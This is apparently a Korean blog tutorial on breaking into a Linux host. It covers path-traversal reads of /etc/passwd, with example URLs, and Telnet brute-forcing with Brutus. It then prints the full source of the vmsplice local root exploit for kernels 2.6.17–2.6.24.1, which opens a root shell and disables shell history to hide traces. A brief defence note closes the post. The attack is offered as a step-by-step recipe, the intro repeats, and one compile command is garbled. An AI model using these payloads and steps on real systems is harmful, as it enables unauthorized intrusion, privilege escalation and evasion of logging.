여기서는 텔넷을 접근하여, cat 명령으로 파일을 만든후 gcc를 통해 컴파일 하여 root 권한을 확득하는 방법을 진행해 보도록 하겠습니다.
그렇다면 텔넷에 일반유저로 접근해야겠지요?
텔넷 일반유저이름 알아내기
유저명 알아내기
유저명은 /etc/passwd 에서 확인이 가능한데요 이파일을 볼수 있는 방법은 웹쉘을 통해 볼수 있는 방법과 Filedownload 취약점을 이용하여 URL 강제 접근 방법이 있습니다.
여기서는 텔넷을 접근하여, cat 명령으로 파일을 만든후 gcc를 통해 컴파일 하여 root 권한을 확득하는 방법을 진행해 보도록 하겠습니다.
그렇다면 텔넷에 일반유저로 접근해야겠지요?
텔넷 일반유저이름 알아내기
유저명 알아내기
유저명은 /etc/passwd 에서 확인이 가능한데요 이파일을 볼수 있는 방법은 웹쉘을 통해 볼수 있는 방법과 Filedownload 취약점을 이용하여 URL 강제 접근 방법이 있습니다.
1. 웹쉘을 통한 방법 보려가기
2. URL 강제 접속 방법
요즘은 잘 통하지 않는 방법이긴 하나 '../'와 같은 파일명 앞에 상위 디렉토리로 올라가는 문자를 입력해 '../../../../../../etc/passwd'와 같이 시스템의 중요한 파일을 다운로드할 수 있는 취약점을 사용하여 passwd 파일내의 일반 유저명을 알아낼수 있습니다.
예1) http://itka.kr/bbs/../../../../../../../etc/passwd
예2) http://itka.kr/bbs/download.jsp?filename=../../../../../../../etc/passwd
/sbin/nologin은 로그인이 불가능한 계정이므로 주의
*일반 유저명을 알아내지 못했더라도 너무 낙심하지 말아요, 일반적으로 있을법한 아이디를 통해 로그인을 시도하는 Brute attack 기법을 구사하는 툴이 있답니다.
이 다음에는 Brute attack 툴을 가지 공격을 시도해 보는데 아이디를 알면 성공 확률을 많이 높일수 있어서 사전에 아이디 정보를 얻는게 좋습니다
텔넷 접근 패스워드 확인하기
위 툴은 Brutus라는 툴로서 대표적인 Brute attack 툴인데요(이외에도 많습니다.) Type을 통해 SSH, Telnet, FTP등 여러 프로토콜을 변경 Userfile에 대입할 유저명(위에서 알아낸 유저명을 입력합니다.)과 PassFile에 대입할 단어사전을 선택후 Target 지정후 Start를 누르면 ID와 Passward를 무차별 대입하여 성공한 결과를 Positive Authentication Results 에 보여주게 됩니다.
Test 계정의 패스워드 획득하여 로그인 하는데 성공하셨다면 텔넷툴을 이용하여 접속합니다.
이제부터 본격적인 시작이네요
Telnet 접근후 Root 권한 획득하기
1. 들어가면 whoami 명령을 통해 누가있는지 확인합니다. (관리자가 로그인 하고 있다면 성공할 확률이 줄어들겠죠?)
2. 아무도 없는 것을 확인하였다면 cat > hack.c 명령을 통해 입력을 파일로 변환 합니다.
3. 이제 리눅스 커널 2.6.17 – 2.6.24.1 권한 상승 취약점을 C언어로 만들어 놓은 파일을 사용하겟습니다 (c언어 파일을 생성하시면되는데 직접 입력하시려면 힘듭니다.)
http://www.milw0rm.com/exploits/5092
전체를 선택한 후 복사를 하여 Telnet에 붙여넣기를 합니다.
붙여넣을 내용
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned ;)
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
// milw0rm.com [2008-02-09]
telnet에 붙여넣기를 함
4. gcc를 이용해 컴파일 합니다.
Gcc -o <input> <output>
5. ./hack을 실행합니다.
6. whoami를 통해 확인해 보시면 root로 권한이 바뀐 것을 확인하실수 있습니다.
짝짝짝 수고하셨습니다^^
방어방법?!
URL 강제 접근을 허용하면 않됩니다. 또 Telnet과 서비스를 사용하지 않고 불필요한 계정은 삭제, 암호 정책을 강화 해야하며, 감지 정책을 설정하면 3회 이상 패스워드 오류시 30분간 계정 잠금(NT : gpedit.msc)정책등을 설정하여 방어하시는게 좋을 것 같습니다